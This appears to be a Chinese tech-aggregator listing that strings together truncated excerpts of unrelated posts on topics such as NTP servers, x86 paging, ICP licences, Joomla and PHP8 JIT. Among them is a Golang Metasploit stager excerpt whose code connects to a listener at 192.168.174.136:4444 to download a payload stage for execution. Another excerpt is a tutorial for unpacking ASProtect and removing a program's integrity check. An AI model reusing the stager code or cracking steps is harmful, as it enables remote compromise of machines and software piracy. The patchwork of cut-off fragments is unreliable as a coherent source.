edi

网络对时服务器(NTP校时服务器)应用港口信息化系统

我们两清 提交于 2020-08-19 03:13:06
网络对时服务器(NTP校时服务器)应用港口信息化系统 网络对时服务器(NTP校时服务器)应用港口信息化系统 更多资料添+京准电子科技VX——ahjzsz 摘 要 文章通过分析目前港口信息化建设中存在问题及发展需求,探讨适应我国港口可持续发展的信息化建设思路,通过建设现代化港口物流信息一体化管控体系,构建多元化港口物流信息对外服务平台,出台适应自身业务发展和信息系统建设的制度规范等手段,从而推进港口业务、信息技术、管理体制融合发展,进一步提高信息科技在港口竞争力中的支撑作用。 引言 随着经济全球化不断推进,国际运输市场化带动现代物流业飞速发展,港口已不仅是物流运输的中转中心、配送中心和仓储中心,而且成为区域和腹地经济发展和对外开放的重要依托。港口企业生产、经营、服务信息处理环节复杂,作为物流信息的汇集节点,是建立顺畅、一体化的物流信息链的关键环节,同时也具有客观反应地区经济走势的作用。 港口信息化建设对于提高港口生产效率,促进现代化高效管理,有效降低运营成本,增强市场竞争力,提高经济效益等方面有着重要意义,是带动港口各项工作创新和功能升级的突破口。 我国的港口信息化发展经过MIS、EDI等发展阶段[1],在智能化生产控制和信息管理方面取得一些成就,随着港口业务的不断发展和信息技术的更新,现有一些计算机信息系统暴露出一些不足和问题,有待进一步完善港口生产经营业务应用系统的集成化

msf stagers开发不完全指北(二)

删除回忆录丶 提交于 2020-08-18 05:17:39
采用 Golang 开发stagers 上一篇文章 msf stagers开发不完全指北(一) 中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang 实现同样的功能 思路梳理 在 Golang 中一点比较重要的是,我们如何能够获取到 socket 的文件描述符,除此之外,我们还是同样的步骤 向 msf 监听地址发起 tcp 请求 获取 stages 将 socket fd 放入寄存器 edi 从起始地址开始执行 stages 编译环境 OS: Windows 10 Golang: go version go1.14.1 windows/amd64 获取stages socket, err := net.Dial("tcp", "192.168.174.136:4444") if err != nil { return err } // read payload size var payloadSizeRaw = make([]byte, 4) numOfBytes, err := socket.Read(payloadSizeRaw) if err != nil { return err } if numOfBytes != 4 { return errors.New("Number of size bytes was not

操作系统-X86系统上的内存分页

那年仲夏 提交于 2020-08-14 11:20:32
一.x86系列处理器上的页式内存管理 1.硬件层直接支持内存分页机制 2.默认情况下不使用分页机制(段式内存管理) 3.分页机制(进行配置)启动后,使用二级页表对内存进行管理 x86系列处理器的分页方式(32位) 如图所示,32位被分成了三部分 1.在低12位中,表示的是页内偏移地址 2.在中间10位,用于在子页表中查找目标页地址 3.在最高的10位中,用于子页目录中查找页表地址 A.下面由一张图来展示分页机制 B.x86系列处理器的分页方式(32位) 1.在页目录大小中,2的十次方项,每项4字节,一共为4K 2.在子页表大小中,2的十次方项,每项4字节,一共为4K 3.在页大小中,2的十二次方,一共为4K 由上可以得出 1.页目录占用1内存页-可访问1024个子页表 2.单个子页表占用1内存页-可访问1024个页面 3.页面起始地址按4K字节对齐-总是4096整数倍 4.分页后可访问的虚拟内存空间为:4K(1024*1024)=4G X86简单的分页构建方式 可以通过for循环构建目录,子页表,主要原因是一个一个的生成的 C.x86系列处理器上的页属性 1.由于物理页面的地址必须按照4K字节对齐 2.由此可得,页目录可使用地址的低12位进行属性描述 在x86系列处理器上查看页属性的说明 D.x86对分页的硬件支持--代码上 如下所示 1.将页目录起始地址放置到cr3

增值电信业务许可证办理,全攻略来了

坚强是说给别人听的谎言 提交于 2020-08-13 07:17:55
很多用户反馈 办理增值电信业务许可证真的太难了!!! 材料不全,驳回! 业务不符,驳回! 材料内容不对,驳回! 反反复复几个月,就是办不到证! 增值电信业务许可证办理,全攻略来了 办理增值电信业务许可证真的很难吗? 是的,很难! 企业在自主办理的时候会遇上各种各样的问题,内容不符合,材料不合规,反复驳回修改~~~ 所以,办证不成功的各位请认真听讲了。 增值电信业务许可证全攻略 1、首先,需要知道增值电信业务许可证是什么? 增值电信业务许可证的全称是“中华人民共和国电信与信息服务业务经营许可证”,是通过互联网向上网用户提供有偿信息、网上广告、代制作网页、电子商务及其它网上应用服务的公司必须办理的网络经营许可证 ,国家对经营性网站实行增值电信业务许可许可证制度。 2、增值电信业务许可证的重要性 根据中华人民共和国国务院令第291号《中华人民共和国电信条例》、第292号《互联网信息服务管理办法》(简称ICP管理办法),国家对提供互联网信息服务的ICP实行许可证制度。 增值电信许可证是网站经营的许可证,根据国家《互联网信息服务管理办法》规定,经营性网站必须办理经中华人民共和国增值电信业务经营许可证(经营性ICP证),否则就属于非法经营。非经营性网站要办理非营业性互联网信息服务业务备案证。 根据《互联网信息服务管理办法》,违反本办法的规定,未取得经营许可证,擅自从事经营性互联网信息服务

metasploit payload运行原理浅析(sockedi调用约定是什么)

时光总嘲笑我的痴心妄想 提交于 2020-08-13 01:57:12
背景 最近在做一些msf相关的事情,今天听到免杀相关的,去查询了下相关资料。 第一个不能错过的就是cobalt strike作者早年写的metasploit-loader项目了,我看了项目源码,找了一些相关资料 在 Meterpreter载荷执行原理分析 文章发现了一些细节性的东西,也感谢该文作者的抛砖引玉,不过文中有一些错误以及未说明白的地方,我会一一道来。 注意:本文只是对我自己的分析结果进行一次复盘,如果有什么错误之处欢迎大家斧正 metasploit loader metasploit的shellcode到底做了什么 首先我们需要探讨的第一个问题是metasploit的shellcode到底做了什么? 在msf的官方wiki中,官方有对这个问题做一些简单的解释 How payloads work 中文翻译版在这 从上面的文章我们大致能知道其实我们使用msf生成的shellcode只是一个加载器(Stagers),然后加载器通过我们生成shellcode时指定的ip和端口回连过来取到真正执行的恶意载荷(Stages) 加载器(Stagers)回连的具体流程 那么提出第二个问题,这个加载器(Stagers)回连的具体代码流程是怎样的? 我们通过文档只能知道Stagers通过网络加载Stages,那么Stages是什么?shellcode?可执行文件?反射dll

双色球 脱壳加去效验

北慕城南 提交于 2020-08-10 13:31:18
【破文标题】双色球 脱壳加去效验 BY lvcaolhx 【破文作者】lvcaolhx 【作者邮箱】 [email]hafiwu@sohu.com[/email] 【作者主页】lvcaolhx.blog.51cto.com 【破解工具】OD/PEID 【破解平台】XPsp2 【软件名称】双色球 【软件大小】 【原版下载】自己到网上搜索 【保护方式】 【软件简介】 【破解声明】菜鸟破解,无技术可言! ------------------------------------------------------------------------ 破解过程】一、查壳,为ASProtect 2.1x SKE -> Alexey Solodovnikov, 用OD载入,运行Asprotect.V2.X.UnpacKer.V1.0E.By.Volx.oSc脚本脱壳, 查看脚本窗口,发现修复所用的相关数据: OEP 的相对地址 = 00003938, IAT 的相对地址 = 00001000 IAT 的大小 =000000394 , Import Fix 1.6载入,输入上面数据进行修复 运行后提示:文件数据损坏!有自效验 二、去自效验。OD载入修复后的文件,下bp rtcFileLen断点,运行,F8后返回到: 004C93CB . FF15 D4B25300 call dword ptr

如何把shellcode转换成exe文件分析

霸气de小男生 提交于 2020-08-10 06:47:27
【转】 http://www.freebuf.com/articles/web/152879.html 前言 在分析 shellcode 时,静态分析或者使用 scdbg 模拟分析都不够准确,如果转换成 exe 文件那么就可以用 debugger 或者 IDA 分析,会方便很多。 样本分析 这里以 CVE-2013-3346 的样本为例,使用 peepdf 分析样本: $ python peepdf.py -i -f ~/Downloads/sample.pdf File: sample.pdfMD5: 6776bda19a3a8ed4c2870c34279dbaa9SHA1: ad6a3564e125683a791ee98c5d1e66e1d9c6877dSize: 177511 bytesVersion: 1.1Binary: FalseLinearized: FalseEncrypted: FalseUpdates: 0Objects: 4Streams: 2Comments: 0Errors: 1Version 0:Catalog: 1Info: No Objects (4): [1, 2, 3, 10] Errors (1): [3] Streams (2): [10, 3] Encoded (0): [] Objects with JS code (1): [3]

[C++]类的空指针调用成员函数后,会发生什么事?

≡放荡痞女 提交于 2020-08-04 12:32:33
类的实例调用成员函数的原理 其实不管是通过对象实例或指针实例调用,其实底层调用的过程都是一样的,都是把当前对象的指针作为一个参数传递给被调用的成员函数。通过下面的相关实例代码进行检验: 实验的C++代码 class Student { private: int age; public: Student() {} Student(int age) : age(age) {} int getAge() { return this->age; } }; int main(int argc, char const *argv[]) { Student s(10); int age = s.getAge(); Student* ps = new Student(10); age = ps->getAge(); return 0; } 基于VS2015调试功能的反汇编代码 int main(int argc, char const *argv[]) { 00A41860 push ebp 00A41861 mov ebp,esp 00A41863 push 0FFFFFFFFh 00A41865 push 0A461D2h 00A4186A mov eax,dword ptr fs:[00000000h] 00A41870 push eax 00A41871 sub esp,104h

如何在Joomla管理面板中访问文件并进行编辑

让人想犯罪 __ 提交于 2020-07-28 09:02:55
在本教程中,我们将向您展示如何从站点管理员面板中编辑Joomla模板文件。 1.登录到Joomla管理员面板后,您需要导航至扩展 > 模板部分。 2.在下一个窗口中,再次从左侧列表中选择模板,然后单击指向您的主题文件的链接。通常将其命名为ThemeXXXX,其中XXXX是主题编号。 3.现在在左侧文件位置,您可以看到模板文件和文件夹的列表。在这里,您可以编辑CSS文件,检查已安装的字体列表,查看模块的编码等。 注意!除非您具有高级编程技能,否则请勿在管理面板中编辑PHP文件。建议使用FTP,因为即使在PHP语法中犯了一个小错误,也可能会关闭您的网站,并且您将无法通过管理面板恢复所做的更改。 现在,您知道如何在Joomla管理面板中访问模板文件并进行编辑。 来源: oschina 链接: https://my.oschina.net/u/3761169/blog/4302037

PHP8新特性之JIT简介

白昼怎懂夜的黑 提交于 2020-07-26 23:47:49
本文地址: https://www.laruence.com/2020/06/27/5963.html 转载请注明出处 PHP8 alpha1已经在昨天发布,相信关于JIT是大家最关心的,它到底怎么用,有什么要注意的,以及性能提升到底咋样? 首先,我们来看一张图: 左图是PHP8之前的Opcache流程示意图, 右图是PHP8中的Opcache示意图, 可以看出几个关键点: PHP8的JIT是在Opcache之中提供的 目前PHP8只支持x86架构的CPU JIT是在原来Opcache优化的优化基础之上进行优化的,不是替代 事实上JIT共用了很多原来Opcache做优化的基础数据结构,比如data flow graph, call graph, SSA等,关于这部分,后续如果有时间,可以单独在写一个文章来介绍,今天就只是着重在使用层面。 下载安装好以后,除掉原有的opcache配置以外,对于JIT我们需要添加如下配置到php.ini: opcache.jit=1205 opcache.jit_buffer_size=64M opcache.jit这个配置看起来稍微有点复杂,我来解释下, 这个配置由4个独立的数字组成,从左到右分别是( 请注意,这个是基于目前alpha1的版本设置,一些配置可能会随着后续版本做微调 ): 是否在生成机器码点时候使用AVX指令, 需要CPU支持: 0: